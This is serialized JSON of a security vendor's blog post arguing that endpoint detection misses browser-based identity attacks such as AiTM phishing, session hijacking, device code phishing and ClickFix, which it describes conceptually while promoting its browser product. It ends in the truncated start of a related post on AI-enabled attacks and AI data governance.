",{"data":4856,"content":4857,"nodeType":866},{},[4858],{"data":4859,"marks":4860,"value":4861,"nodeType":865},{},[],"We see it too; in a single 30-day proof-of-value deployment at a financial services organization, Push detected 6 ClickFix attacks and 10 AiTM phishing attempts that were invisible to the existing security stack.",{"data":4863,"content":4864,"nodeType":866},{},[4865],{"data":4866,"marks":4867,"value":4868,"nodeType":865},{},[],"These aren't niche techniques. They're the dominant playbook, and none of them need to touch the endpoint to succeed, or for an attacker to achieve their goals.",{"data":4870,"content":4871,"nodeType":1317},{},[4872],{"data":4873,"marks":4874,"value":261,"nodeType":865},{},[4875],{"type":926},{"data":4877,"content":4878,"nodeType":866},{},[4879,4882,4890],{"data":4880,"marks":4881,"value":21,"nodeType":865},{},[],{"data":4883,"content":4885,"nodeType":889},{"uri":4884},"https://pushsecurity.com/solution/stop-browser-based-attacks/adversary-in-the-middle-attacks",[4886],{"data":4887,"marks":4888,"value":4889,"nodeType":865},{},[],"AiTM phishing kits",{"data":4891,"marks":4892,"value":4893,"nodeType":865},{},[]," render a convincing login page inside the browser, proxy the authentication in real time, and lift the session token as it passes through. The user completes what feels like a normal login; the attacker gets a valid session. The OS saw a browser connecting to a website.",{"data":4895,"content":4896,"nodeType":1317},{},[4897],{"data":4898,"marks":4899,"value":571,"nodeType":865},{},[4900],{"type":926},{"data":4902,"content":4903,"nodeType":866},{},[4904,4907,4914],{"data":4905,"marks":4906,"value":21,"nodeType":865},{},[],{"data":4908,"content":4910,"nodeType":889},{"uri":4909},"https://pushsecurity.com/solution/stop-browser-based-attacks/session-hijacking",[4911],{"data":4912,"marks":4913,"value":571,"nodeType":865},{},[],{"data":4915,"marks":4916,"value":4917,"nodeType":865},{},[]," skips authentication entirely by targeting an existing session. By stealing and replaying a token acquired by an infostealer, or a malicious browser extension, they can import the session into their own browser and continue using it — there's no password prompt, no MFA challenge, no re-authentication. The session blends into normal browser activity and generates nothing an endpoint agent was built to catch.",{"data":4919,"content":4920,"nodeType":1317},{},[4921],{"data":4922,"marks":4923,"value":360,"nodeType":865},{},[4924],{"type":926},{"data":4926,"content":4927,"nodeType":866},{},[4928,4931,4937],{"data":4929,"marks":4930,"value":21,"nodeType":865},{},[],{"data":4932,"content":4933,"nodeType":889},{"uri":1951},[4934],{"data":4935,"marks":4936,"value":360,"nodeType":865},{},[],{"data":4938,"marks":4939,"value":4940,"nodeType":865},{},[]," is harder to spot, because the user authenticates on a legitimate identity provider page. The attacker initiates a device authorization flow and tricks the user into entering a code on the real Microsoft (or Google or GitHub) login page. The IdP issues a valid token. The phishing happened before the authentication page even loaded, and the session token goes straight to the attacker. Push has documented a 37x increase in device code phishing attacks this year, with 12+ unique kits now offering the technique.",{"data":4942,"content":4943,"nodeType":1317},{},[4944],{"data":4945,"marks":4946,"value":315,"nodeType":865},{},[4947],{"type":926},{"data":4949,"content":4950,"nodeType":866},{},[4951,4954,4961],{"data":4952,"marks":4953,"value":21,"nodeType":865},{},[],{"data":4955,"content":4957,"nodeType":889},{"uri":4956},"https://pushsecurity.com/solution/stop-browser-based-attacks/clickfix-fix-variants",[4958],{"data":4959,"marks":4960,"value":315,"nodeType":865},{},[],{"data":4962,"marks":4963,"value":4964,"nodeType":865},{},[]," takes a different approach: the lure tricks the user into copying a malicious payload to their clipboard and running it themselves, framed as a verification step or a fix for a page that won't load. It's social engineering dressed up as a CAPTCHA. Unlike the attacks above, ClickFix is a hybrid — the delivery and lure happen in the browser, but the payload executes on the endpoint. That split is important when we get to how the detection layers divide.",{"data":4966,"content":4967,"nodeType":866},{},[4968],{"data":4969,"marks":4970,"value":4971,"nodeType":865},{},[],"The attacks look different on the surface, but the design principle is the same: stay out of the OS, stay inside the browser, and stay invisible to every tool that's watching the endpoint.",{"data":4973,"content":4974,"nodeType":866},{},[4975,4979,4985,4989,4997],{"data":4976,"marks":4977,"value":4978,"nodeType":865},{},[],"Once access to an app is established via a compromised identity, attackers can also achieve their goals without touching the endpoint. Most of the time, this involves data theft and extortion, but adversaries like ",{"data":4980,"content":4981,"nodeType":889},{"uri":3820},[4982],{"data":4983,"marks":4984,"value":3825,"nodeType":865},{},[],{"data":4986,"marks":4987,"value":4988,"nodeType":865},{},[]," and ",{"data":4990,"content":4992,"nodeType":889},{"uri":4991},"https://pushsecurity.com/blog/scattered-lapsus-hunters/",[4993],{"data":4994,"marks":4995,"value":4996,"nodeType":865},{},[],"Scattered Spider",{"data":4998,"marks":4999,"value":5000,"nodeType":865},{},[]," are also experts in cloud-based disruption and destruction techniques — with no ransomware binary dropped to user endpoints for an EDR agent to intercept. ",{"data":5002,"content":5006,"nodeType":912},{"target":5003},{"sys":5004},{"id":5005,"type":909,"linkType":910},"4eZcjfuT34oQoKIZAsZCr4",[],{"data":5008,"content":5009,"nodeType":972},{},[],{"data":5011,"content":5012,"nodeType":981},{},[5013],{"data":5014,"marks":5015,"value":5017,"nodeType":865},{},[5016],{"type":926},"The EDR you're using doesn't change the result",{"data":5019,"content":5020,"nodeType":866},{},[5021],{"data":5022,"marks":5023,"value":5024,"nodeType":865},{},[],"The constraint isn't vendor-specific. Every EDR's observation model stops at the OS layer because that's where the agent sits. What happens inside a browser session is outside that model by design. A better EDR doesn't close the gap; a different layer does.",{"data":5026,"content":5027,"nodeType":1317},{},[5028],{"data":5029,"marks":5030,"value":5032,"nodeType":865},{},[5031],{"type":926},"Reputation-based filtering falls short too",{"data":5034,"content":5035,"nodeType":866},{},[5036,5040,5047,5051,5059],{"data":5037,"marks":5038,"value":5039,"nodeType":865},{},[],"Some platforms add URL filtering or domain reputation checks at the browser boundary, and that narrows the surface somewhat. But reputation-based filtering hits the same wall against PhaaS infrastructure engineered to rotate domains before reputation databases catch up. ",{"data":5041,"content":5042,"nodeType":889},{"uri":3595},[5043],{"data":5044,"marks":5045,"value":5046,"nodeType":865},{},[],"89% of phishing domains are active for fewer than two days",{"data":5048,"marks":5049,"value":5050,"nodeType":865},{},[],". A reputation engine can't flag infrastructure it hasn't seen, and ",{"data":5052,"content":5054,"nodeType":889},{"uri":5053},"https://pushsecurity.com/blog/phishing-detection-evasion-launch/",[5055],{"data":5056,"marks":5057,"value":5058,"nodeType":865},{},[],"modern phishing operations",{"data":5060,"marks":5061,"value":5062,"nodeType":865},{},[]," are designed around that window.",{"data":5064,"content":5065,"nodeType":1317},{},[5066],{"data":5067,"marks":5068,"value":5070,"nodeType":865},{},[5069],{"type":926},"Some vendors recognize the problem",{"data":5072,"content":5073,"nodeType":866},{},[5074],{"data":5075,"marks":5076,"value":5077,"nodeType":865},{},[],"The market has started to acknowledge this. CrowdStrike's acquisition of Seraphic is a direct signal that endpoint vendors see the browser gap and want to close it, and it validates what we've been building here at Push since day one. That's a good thing for defenders — the more coverage at this layer, the better.",{"data":5079,"content":5080,"nodeType":866},{},[5081],{"data":5082,"marks":5083,"value":5084,"nodeType":865},{},[],"But endpoint vendors see the world through the endpoint. Their platforms, their telemetry models, and their detection logic are all structured around what happens at the OS layer. When they acquire browser capability, it gets pulled into that orbit. Seraphic was built to detect browser exploits by injecting into the browser's JavaScript runtime from the OS. ",{"data":5086,"content":5087,"nodeType":1317},{},[5088],{"data":5089,"marks":5090,"value":5092,"nodeType":865},{},[5091],{"type":926},"Attacks in vs. on the browser: why this distinction matters",{"data":5094,"content":5095,"nodeType":866},{},[5096,5100,5108,5112,5117,5121,5129],{"data":5097,"marks":5098,"value":5099,"nodeType":865},{},[],"In other words, ",{"data":5101,"content":5103,"nodeType":889},{"uri":5102},"https://pushsecurity.com/blog/how-to-avoid-the-browser-security-buyers-trap/",[5104],{"data":5105,"marks":5106,"value":5107,"nodeType":865},{},[],"their focus is on attacks on the browser itself",{"data":5109,"marks":5110,"value":5111,"nodeType":865},{},[],", rather than those happening ",{"data":5113,"marks":5114,"value":5116,"nodeType":865},{},[5115],{"type":898},"inside",{"data":5118,"marks":5119,"value":5120,"nodeType":865},{},[]," the browser session. That's a meaningful capability, but it's a different problem from detecting the identity attacks that dominate the threat landscape today — AiTM phishing, session hijacking, OAuth consent abuse, ClickFix — where the attacker never triggers an exploit and the browser works exactly as designed. We've written in detail aboutwhy that ",{"data":5122,"content":5123,"nodeType":889},{"uri":5102},[5124],{"data":5125,"marks":5126,"value":5128,"nodeType":865},{},[5127],{"type":943},"architectural distinction matters",{"data":5130,"marks":5131,"value":5132,"nodeType":865},{},[]," for buyers evaluating the category.",{"data":5134,"content":5138,"nodeType":912},{"target":5135},{"sys":5136},{"id":5137,"type":909,"linkType":910},"37815BxUTO55avL4molrA5",[],{"data":5140,"content":5141,"nodeType":972},{},[],{"data":5143,"content":5144,"nodeType":981},{},[5145],{"data":5146,"marks":5147,"value":5149,"nodeType":865},{},[5148],{"type":926},"What browser-native detection actually looks like",{"data":5151,"content":5152,"nodeType":866},{},[5153],{"data":5154,"marks":5155,"value":5156,"nodeType":865},{},[],"Network tools and reputation engines see where a user went and whether the destination had a known-bad reputation. What they can't see is what happened on the page once the user got there — whether the login form was real or a proxied clone, whether a session token was issued and where it went next.",{"data":5158,"content":5159,"nodeType":1317},{},[5160],{"data":5161,"marks":5162,"value":5164,"nodeType":865},{},[5163],{"type":926},"Why network-layer detection can't keep up",{"data":5166,"content":5167,"nodeType":866},{},[5168],{"data":5169,"marks":5170,"value":5171,"nodeType":865},{},[],"At the network layer, a brand-new domain hosting a pixel-perfect Microsoft login page is indistinguishable from the real thing. There's no signal to act on — the domain is in good standing, the TLS cert is valid, and the traffic looks normal.",{"data":5173,"content":5174,"nodeType":866},{},[5175],{"data":5176,"marks":5177,"value":5178,"nodeType":865},{},[],"But it's not as simple as looking at the page itself. The phishing pages attackers are building now don't look like the clone-and-paste jobs of a few years ago. Attackers are vibe-coding imitations where the AI has constructed the page from scratch — visually identical to the real login page, but with a completely different underlying structure. They look the same to the user and to any tool doing a surface-level comparison. You need to understand how credential-harvesting mechanics actually work, how authentication relay is structured, and what behavioral fingerprints phishing kits leave behind regardless of how the page was built.",{"data":5180,"content":5181,"nodeType":1317},{},[5182],{"data":5183,"marks":5184,"value":5186,"nodeType":865},{},[5185],{"type":926},"How Push detects what others miss",{"data":5188,"content":5189,"nodeType":866},{},[5190],{"data":5191,"marks":5192,"value":5193,"nodeType":865},{},[],"That's where Push's visibility and expertise intersect. Running inside the browser, Push sees DOM structure, script behavior, how credential forms are constructed, and how authentication is being relayed. Phishing attacks leave consistent behavioral fingerprints at this level regardless of what domain they're hosted on, which kit family they belong to, or whether the page was hand-coded or vibe-coded in minutes. Push catches attacks built on infrastructure that's never appeared on any blocklist, because it isn't looking at the infrastructure. It's looking at what the page is doing.",{"data":5195,"content":5196,"nodeType":1317},{},[5197],{"data":5198,"marks":5199,"value":5201,"nodeType":865},{},[5200],{"type":926},"Where the detection layers divide",{"data":5203,"content":5204,"nodeType":866},{},[5205],{"data":5206,"marks":5207,"value":5208,"nodeType":865},{},[],"ClickFix illustrates how the layers split. Push identifies the page behavior delivering the lure and analyzes the clipboard payload before the user runs it — two detection points, both inside the browser, both before anything reaches the endpoint. EDR's window opens after execution. Push and EDR are watching the same attack from opposite ends of the kill chain.",{"data":5210,"content":5211,"nodeType":1317},{},[5212],{"data":5213,"marks":5214,"value":5216,"nodeType":865},{},[5215],{"type":926},"Keeping pace with AI-accelerated attacks",{"data":5218,"content":5219,"nodeType":866},{},[5220],{"data":5221,"marks":5222,"value":5223,"nodeType":865},{},[],"That detection model has to keep pace with an attack surface that's evolving at machine speed. Attackers are using AI to vibe-code phishing kits, generate convincing cloned pages, and rotate infrastructure faster than any human team can track.",{"data":5225,"content":5226,"nodeType":866},{},[5227,5231,5239,5243,5248],{"data":5228,"marks":5229,"value":5230,"nodeType":865},{},[],"Push matches that pace with an ",{"data":5232,"content":5234,"nodeType":889},{"uri":5233},"https://pushsecurity.com/blog/can-ai-replace-a-threat-researcher-what-we-learned-building-an-agentic-threat-hunting-pipeline/",[5235],{"data":5236,"marks":5237,"value":5238,"nodeType":865},{},[],"agentic threat hunting pipeline",{"data":5240,"marks":5241,"value":5242,"nodeType":865},{},[],": autonomous agents hunt continuously across browser telemetry from over ",{"data":5244,"marks":5245,"value":5247,"nodeType":865},{},[5246],{"type":926},"3 million browsers worldwide",{"data":5249,"marks":5250,"value":5251,"nodeType":865},{},[],", develop hypotheses, analyze traces, and write detection rules without waiting for human initiation. Push's in-house threat researchers feed the agents the context they need — years of accumulated knowledge about how browser-based attacks actually work. The agents operationalize that expertise at a scale and speed no human team could sustain alone.",{"data":5253,"content":5257,"nodeType":912},{"target":5254},{"sys":5255},{"id":5256,"type":909,"linkType":910},"27crXZtdoKOl08wDzLFnBO",[],{"data":5259,"content":5260,"nodeType":972},{},[],{"data":5262,"content":5263,"nodeType":981},{},[5264],{"data":5265,"marks":5266,"value":5268,"nodeType":865},{},[5267],{"type":926},"Two layers that fit together",{"data":5270,"content":5271,"nodeType":866},{},[5272],{"data":5273,"marks":5274,"value":5275,"nodeType":865},{},[],"Browser detection and endpoint detection cover different surfaces. Together they close the gap.",{"data":5277,"content":5278,"nodeType":1317},{},[5279],{"data":5280,"marks":5281,"value":5283,"nodeType":865},{},[5282],{"type":926},"Response at the speed of the attack",{"data":5285,"content":5286,"nodeType":866},{},[5287],{"data":5288,"marks":5289,"value":5290,"nodeType":865},{},[],"Push doesn't just detect — the detection comes with response built in. Phishing pages are blocked before credentials are submitted. Malicious clipboard payloads are intercepted before the user can run them. Suspicious OAuth consent grants are flagged or blocked in real time, before the authorization completes. These aren't after-the-fact alerts that require an analyst to act; they're inline controls that operate at the speed of the attack.",{"data":5292,"content":5293,"nodeType":866},{},[5294],{"data":5295,"marks":5296,"value":5297,"nodeType":865},{},[],"For purely browser-based attacks like AiTM phishing, device code phishing, and OAuth consent abuse, Push is both the detection and the response layer. For ClickFix, the coverage divides: Push catches the delivery and the clipboard payload, and if the user runs it and something lands on the OS, EDR picks up what happens next.",{"data":5299,"content":5300,"nodeType":1317},{},[5301],{"data":5302,"marks":5303,"value":5305,"nodeType":865},{},[5304],{"type":926},"The telemetry bridge",{"data":5307,"content":5308,"nodeType":866},{},[5309],{"data":5310,"marks":5311,"value":5312,"nodeType":865},{},[],"The integration with endpoint tooling is straightforward. Push feeds browser telemetry into the same SIEM and XDR workflows endpoint data already flows into.",{"data":5314,"content":5315,"nodeType":866},{},[5316],{"data":5317,"marks":5318,"value":5319,"nodeType":865},{},[],"EDR tells you what happened on the host. Push tells you what happened in the session before the host was involved — which login page loaded, how it behaved, whether a session token left the organization. That's the causal link most investigation timelines are missing: the bridge between \"a user visited a URL\" and \"credentials were submitted to a phishing page that proxied authentication and captured the session token.\"",{"data":5321,"content":5322,"nodeType":866},{},[5323],{"data":5324,"marks":5325,"value":5326,"nodeType":865},{},[],"Without browser-layer telemetry, that chain of events is invisible — the EDR sees normal endpoint processes and the SIEM sees a successful login. An alert from either layer is more useful with context from the other, and the range of problems you can solve from inside the browser extends well beyond threat detection.",{"data":5328,"content":5329,"nodeType":1317},{},[5330],{"data":5331,"marks":5332,"value":5334,"nodeType":865},{},[5333],{"type":926},"Deployment without disruption",{"data":5336,"content":5337,"nodeType":866},{},[5338],{"data":5339,"marks":5340,"value":5341,"nodeType":865},{},[],"Operationally, adding the browser layer doesn't mean adding complexity. Push deploys as a browser extension — no network changes, no TLS inspection, no browser replacement, and no impact on page load times or browsing performance.",{"data":5343,"content":5344,"nodeType":866},{},[5345],{"data":5346,"marks":5347,"value":5348,"nodeType":865},{},[],"Unlike approaches that route traffic through a proxy or render pages remotely, Push operates natively inside the browser session, which means there's no latency penalty and no disruption to how employees work. ",{"data":5350,"content":5354,"nodeType":912},{"target":5351},{"sys":5352},{"id":5353,"type":909,"linkType":910},"3w1g0UvGN28HBOTxeZlIfc",[],{"data":5356,"content":5357,"nodeType":972},{},[],{"data":5359,"content":5360,"nodeType":981},{},[5361],{"data":5362,"marks":5363,"value":5365,"nodeType":865},{},[5364],{"type":926},"A quick check on your coverage",{"data":5367,"content":5368,"nodeType":866},{},[5369],{"data":5370,"marks":5371,"value":5372,"nodeType":865},{},[],"If you're running EDR and assume the browser is covered, these are worth thinking through. ",{"data":5374,"content":5375,"nodeType":1616},{},[5376,5397,5419,5429],{"data":5377,"content":5378,"nodeType":1570},{},[5379],{"data":5380,"content":5381,"nodeType":866},{},[5382,5386,5393],{"data":5383,"marks":5384,"value":5385,"nodeType":865},{},[],"Can you identify which browser extensions across your fleet have the ",{"data":5387,"content":5388,"nodeType":889},{"uri":3720},[5389],{"data":5390,"marks":5391,"value":5392,"nodeType":865},{},[],"permissions needed for account takeover",{"data":5394,"marks":5395,"value":5396,"nodeType":865},{},[],"? ",{"data":5398,"content":5399,"nodeType":1570},{},[5400],{"data":5401,"content":5402,"nodeType":866},{},[5403,5407,5415],{"data":5404,"marks":5405,"value":5406,"nodeType":865},{},[],"Would anything stop a ",{"data":5408,"content":5410,"nodeType":889},{"uri":5409},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection/",[5411],{"data":5412,"marks":5413,"value":5414,"nodeType":865},{},[],"ClickFix payload",{"data":5416,"marks":5417,"value":5418,"nodeType":865},{},[]," before your user ran it? ",{"data":5420,"content":5421,"nodeType":1570},{},[5422],{"data":5423,"content":5424,"nodeType":866},{},[5425],{"data":5426,"marks":5427,"value":5428,"nodeType":865},{},[],"Do you have visibility into every account your employees have created outside of SSO, and whether those accounts are protected by MFA or using weak, breached, or reused passwords? ",{"data":5430,"content":5431,"nodeType":1570},{},[5432],{"data":5433,"content":5434,"nodeType":866},{},[5435],{"data":5436,"marks":5437,"value":5438,"nodeType":865},{},[],"When a session token gets stolen, do you have any signal when the attacker starts using it?",{"data":5440,"content":5441,"nodeType":866},{},[5442],{"data":5443,"marks":5444,"value":5446,"nodeType":865},{},[5445],{"type":926},"Push surfaces answers to all of them — across every browser session.",{"data":5448,"content":5449,"nodeType":866},{},[5450,5454,5462],{"data":5451,"marks":5452,"value":5453,"nodeType":865},{},[],"Defenders secured the endpoint. Attackers took note, and they've had the browser to themselves ever since. The attacker tooling that followed was built for an environment where the endpoint is watched and the session layer isn't. That's been a reasonable assumption for the better part of a decade. Endpoint vendors are starting to move toward the browser, but there's a case for ",{"data":5455,"content":5456,"nodeType":889},{"uri":1230},[5457],{"data":5458,"marks":5459,"value":5461,"nodeType":865},{},[5460],{"type":943},"purpose-built browser security",{"data":5463,"marks":5464,"value":5465,"nodeType":865},{},[]," rather than bolted-on features from platforms designed for a different layer. The endpoint is covered. The browser is where the work is now.",{"data":5467,"content":5468,"nodeType":972},{},[],{"data":5470,"content":5471,"nodeType":866},{},[5472,5475,5483],{"data":5473,"marks":5474,"value":4591,"nodeType":865},{},[],{"data":5476,"content":5478,"nodeType":889},{"uri":5477},"https://pushsecurity.com/book-demo/",[5479],{"data":5480,"marks":5481,"value":5482,"nodeType":865},{},[],"Book a live demo to learn more",{"data":5484,"marks":5485,"value":1615,"nodeType":865},{},[],{"entries":5487},{"hyperlink":5488,"inline":5489,"block":5490},[],[],[5491,5498,5501,5521,5547],{"sys":5492,"__typename":1390,"title":5493,"caption":5494,"layoutMode":59,"file":5495},{"id":4802},"Pyramid of Pain for internet-based attacks","The Pyramid of Pain reworked for internet-based attacks.",{"url":5496,"width":1402,"height":5497},"https://images.ctfassets.net/y1cdw1ablpvd/2KJMvUn55yStIIB5jIcy0n/c64a1d128567ed1189821b8160f81fe7/image6.png",1149,{"sys":5499,"__typename":1414,"type":1415,"ctaText":5500,"buttonLabel":1417,"buttonColour":1418,"buttonUrl":1419},{"id":5005},"Read our browser attack techniques report for more information on these attack techniques and how attackers are leveraging them in browser-native breaches that don't touch the endpoint detection surface.",{"sys":5502,"__typename":5503,"content":5504,"name":5520,"title":59},{"id":5137},"InsightTextBlockComponent",{"json":5505},{"nodeType":1382,"data":5506,"content":5507},{},[5508],{"nodeType":866,"data":5509,"content":5510},{},[5511,5515],{"nodeType":865,"value":5512,"marks":5513,"data":5514},"Push was built for the browser from the start, for exactly these attacks. The detection engine runs inside the session. The response actions operate at the session layer, blocking phishing pages, intercepting malicious clipboard payloads, and warning on suspicious OAuth consent grants, because that's where the attack is happening. ",[],{},{"nodeType":865,"value":5516,"marks":5517,"data":5519},"That's not a philosophical matter. It determines what you can catch and how fast you can stop it.",[5518],{"type":926},{},"EDR blog IB1",{"sys":5522,"__typename":5503,"content":5523,"name":5546,"title":59},{"id":5256},{"json":5524},{"nodeType":1382,"data":5525,"content":5526},{},[5527],{"nodeType":866,"data":5528,"content":5529},{},[5530,5534,5542],{"nodeType":865,"value":5531,"marks":5532,"data":5533},"Since deploying the pipeline, we've 3x'ed our detection output (but with ",[],{},{"nodeType":889,"data":5535,"content":5537},{"uri":5536},"https://pushsecurity.com/blog/the-pyramid-of-pain-in-the-ai-era/",[5538],{"nodeType":865,"value":5539,"marks":5540,"data":5541},"broad technique-level detections, not just IoC noise",[],{},{"nodeType":865,"value":5543,"marks":5544,"data":5545},"). New detections move from discovery to customer protection in minutes rather than the days or weeks a manual process required.",[],{},"EDR blog IB2",{"sys":5548,"__typename":5503,"content":5549,"name":5560,"title":59},{"id":5353},{"json":5550},{"nodeType":1382,"data":5551,"content":5552},{},[5553],{"nodeType":866,"data":5554,"content":5555},{},[5556],{"nodeType":865,"value":5557,"marks":5558,"data":5559},"Push has been deployed to 100,000 users in under an hour during normal business hours with zero downtime, and it sits alongside whatever endpoint and network tooling is already in place.",[],{},"EDR blog IB3",{"items":5562},[],{},"How attackers get around endpoint security controls like EDR",{"items":5566},[5567,6504,7029],{"__typename":1429,"sys":5568,"content":5570,"title":6488,"synopsis":6489,"hashTags":59,"publishedDate":3347,"slug":6490,"tagsCollection":6491,"authorsCollection":6497},{"id":5569},"I5SoVIYsYVgutpLIzZRpC",{"json":5571},{"data":5572,"content":5573,"nodeType":1382},{},[5574,5581,5588,5609,5616,5623,5626,5634,5641,5648,5671,5678,5685,5691,5694,5702,5709,5715,5722,5730,5762,5781,5787,5795,5802,5808,5828,5836,5843,5874,5880,5895,5898,5906,5913,5918,5934,5941,5948,5960,5979,5986,5993,6001,6008,6026,6032,6039,6045,6051,6054,6062,6069,6076,6139,6146,6153,6160,6167,6183,6190,6197,6204,6211,6218,6225,6232,6239,6246,6253,6260,6267,6274,6277,6285,6292,6304,6311,6318,6325,6332,6455,6461,6467,6470],{"data":5575,"content":5576,"nodeType":866},{},[5577],{"data":5578,"marks":5579,"value":5580,"nodeType":865},{},[],"When is a fork not a fork? When it's a browser security platform built to solve both problems of the AI era.",{"data":5582,"content":5583,"nodeType":866},{},[5584],{"data":5585,"marks":5586,"value":5587,"nodeType":865},{},[],"Many security leaders are rightly worried about two big problems in the age of AI: AI-enabled attacks targeting their employees via the browser; and employees introducing the risk of data loss through their use of AI tools.",{"data":5589,"content":5590,"nodeType":866},{},[5591,5596,5600,5605],{"data":5592,"marks":5593,"value":5595,"nodeType":865},{},[5594],{"type":926},"For security teams researching browser-based solutions to these challenges, the decision at first looks like a fork in the road: ",{"data":5597,"marks":5598,"value":5599,"nodeType":865},{},[],"Choose a solution that's purpose-built to detect and respond to modern browser-based attacks like AI-enabled phish kits, ClickFix and other *Fix-style attacks, malicious browser extensions, device code phishing, and others; ",{"data":5601,"marks":5602,"value":5604,"nodeType":865},{},[5603],{"type":898},"or",{"data":5606,"marks":5607,"value":5608,"nodeType":865},{},[]," select an AI governance tool to enforce sensible policies for sensitive data in the browser.",{"data":5610,"content":5611,"nodeType":866},{},[5612],{"data":5613,"marks":5614,"value":5615,"nodeType":865},{},[],"Push solves both of these problems. One platform, one SKU.",{"data":5617,"content":5618,"nodeType":866},{},[5619],{"data":5620,"marks":5621,"value":5622,"nodeType":865},{},[],"In this article, we'll take a look at the two big AI security and data governance problems that security teams are facing and outline how Push solves them in a single solution. We’ll cover what questions to ask as you evaluate browser security solutions, and describe Push's focus on providing foundational telemetry, detections, and controls that allow you to answer the question “What actually happened here?” not just “What policy was violated?”",{"data":5624,"content":5625,"nodeType":972},{},[],{"data":5627,"content":5628,"nodeType":981},{},[5629],{"data":5630,"marks":5631,"value":5633,"nodeType":865},{},[5632],{"type":926},"The AI risks every security team is now responsible for",{"data":5635,"content":5636,"nodeType":866},{},[5637],{"data":5638,"marks":5639,"value":5640,"nodeType":865},{},[],"AI is an amplifier, for adversaries and for your employees. Whatever they could do before, they can now do faster, more powerfully, and at scale.",{"data":5642,"content":5643,"nodeType":866},{},[5644],{"data":5645,"marks":5646,"value":5647,"nodeType":865},{},[],"The two risks that every security team now must manage: ",{"data":5649,"content":5650,"nodeType":1616},{},[5651,5661],{"data":5652,"content":5653,"nodeType":1570},{},[5654],{"data":5655,"content":5656,"nodeType":866},{},[5657],{"data":5658,"marks":5659,"value":5660,"nodeType":865},{},[],"AI is making browser-based attacks faster, cheaper, and harder to detect.",{"data":5662,"content":5663,"nodeType":1570},{},[5664],{"data":5665,"content":5666,"nodeType":866},{},[5667],{"data":5668,"marks":5669,"value":5670,"nodeType":865},{},[],"Employee AI adoption is creating data exposure faster than security teams can respond.",{"data":5672,"content":5673,"nodeType":866},{},[5674],{"data":5675,"marks":5676,"value":5677,"nodeType":865},{},[],"Both of these challenges intersect in the same place: The browser. It's the place where adversaries target employees with modern attacks designed to accomplish account takeover and data exfiltration. It's also the place where workers discover and use new AI-enabled apps and introduce risk into the business in the form of data loss, shadow apps, risky browser extensions, and shadow integrations.",{"data":5679,"content":5680,"nodeType":866},{},[5681],{"data":5682,"marks":5683,"value":5684,"nodeType":865},{},[],"To address both problems, security teams need visibility and control in the browser.",{"data":5686,"content":5690,"nodeType":912},{"target":5687},{"sys":5688},{"id":5689,"type":909,"linkType":910},"1U2Hmn4XrFpdcxyjxY3aCc",[],{"data":5692,"content":5693,"nodeType":972},{},[],{"data":5695,"content":5696,"nodeType":981},{},[5697],{"data":5698,"marks":5699,"value":5701,"nodeType":865},{},[5700],{"type":926},"How AI is transforming attacks",{"data":5703,"content":5704,"nodeType":866},{},[5705],{"data":5706,"marks":5707,"value":5708,"nodeType":865},{},[],"On the adversary side of the equation, adversaries are using AI tooling to rapidly iterate on new attack types or new iterations of existing browser-based TTPs that target employees to achieve account or endpoint compromise — usually with the end goal of harvesting valuable corporate identities in order to exfiltrate data or hold it for ransom.",{"data":5710,"content":5714,"nodeType":912},{"target":5711},{"sys":5712},{"id":5713,"type":909,"linkType":910},"G8xv1seFz1wJnY5HpfV6z",[],{"data":5716,"content":5717,"nodeType":866},{},[5718],{"data":5719,"marks":5720,"value":5721,"nodeType":865},{},[],"AI is changing attacks in three key ways.",{"data":5723,"content":5724,"nodeType":1317},{},[5725],{"data":5726,"marks":5727,"value":5729,"nodeType":865},{},[5728],{"type":926},"AI has supercharged the iteration and evolution of adversary tools and techniques",{"data":5731,"content":5732,"nodeType":866},{},[5733,5737,5746,5750,5758],{"data":5734,"marks":5735,"value":5736,"nodeType":865},{},[],"Attackers are using the same AI capabilities as any other engineer who wants to multiply their output. That translates to an array of new attack techniques: multiple increasingly sophisticated variations of the ",{"data":5738,"content":5740,"nodeType":889},{"uri":5739},"https://pushsecurity.com/blog/consentfix-v3-analyzing-a-new-toolkit/",[5741],{"data":5742,"marks":5743,"value":5745,"nodeType":865},{},[5744],{"type":943},"ClickFix-style attacks",{"data":5747,"marks":5748,"value":5749,"nodeType":865},{},[]," that use social engineering techniques to get users to unknowingly install malware via malicious scripts; as well as creative ",{"data":5751,"content":5752,"nodeType":889},{"uri":1951},[5753],{"data":5754,"marks":5755,"value":5757,"nodeType":865},{},[5756],{"type":943},"exploitation of device codes",{"data":5759,"marks":5760,"value":5761,"nodeType":865},{},[],", a legitimate authentication mechanism, that allows attackers to phish access post-authentication.",{"data":5763,"content":5764,"nodeType":866},{},[5765,5769,5777],{"data":5766,"marks":5767,"value":5768,"nodeType":865},{},[],"Device code phishing in particular demonstrates the rapid growth of new techniques, with early documented appearances of the TTP occurring in 2024, and by early the next year, the method had been packaged as a PhaaS offering with GPT-enhanced spear-phishing and customized landing pages. The ",{"data":5770,"content":5772,"nodeType":889},{"uri":5771},"https://www.huntress.com/blog/device-code-phishing-ai-mfa-bypass",[5773],{"data":5774,"marks":5775,"value":5776,"nodeType":865},{},[],"campaign",{"data":5778,"marks":5779,"value":5780,"nodeType":865},{},[]," targeted more than 340 organizations across five countries in March 2026, using personalized AI-generated lures at a scale that would have been impractical to produce manually.",{"data":5782,"content":5786,"nodeType":912},{"target":5783},{"sys":5784},{"id":5785,"type":909,"linkType":910},"eNUpU2GtGOcXRrHBKHnLN",[],{"data":5788,"content":5789,"nodeType":1317},{},[5790],{"data":5791,"marks":5792,"value":5794,"nodeType":865},{},[5793],{"type":926},"Infrastructure-based detections are increasingly degraded by AI-enabled approaches",{"data":5796,"content":5797,"nodeType":866},{},[5798],{"data":5799,"marks":5800,"value":5801,"nodeType":865},{},[],"AI has also collapsed the cost and time it takes to build convincing phishing infrastructure: Attackers can vibecode a convincing phishing page in minutes, burn the domain, and regenerate another one before any blocklist updates. ",{"data":5803,"content":5807,"nodeType":912},{"target":5804},{"sys":5805},{"id":5806,"type":909,"linkType":910},"2obvOhMWjy64h94tEIbx04",[],{"data":5809,"content":5810,"nodeType":866},{},[5811,5815,5824],{"data":5812,"marks":5813,"value":5814,"nodeType":865},{},[],"The impact on IOC-based detections that rely on infrastructure elements is severe: When elements constantly change, every phishing attack is essentially a zero-day. Complicating the picture further is the increasing use of legitimate cloud platforms like ",{"data":5816,"content":5818,"nodeType":889},{"uri":5817},"https://www.huntress.com/blog/railway-paas-m365-token-replay-campaign",[5819],{"data":5820,"marks":5821,"value":5823,"nodeType":865},{},[5822],{"type":943},"Railway",{"data":5825,"marks":5826,"value":5827,"nodeType":865},{},[],", Cloudflare Workers, and 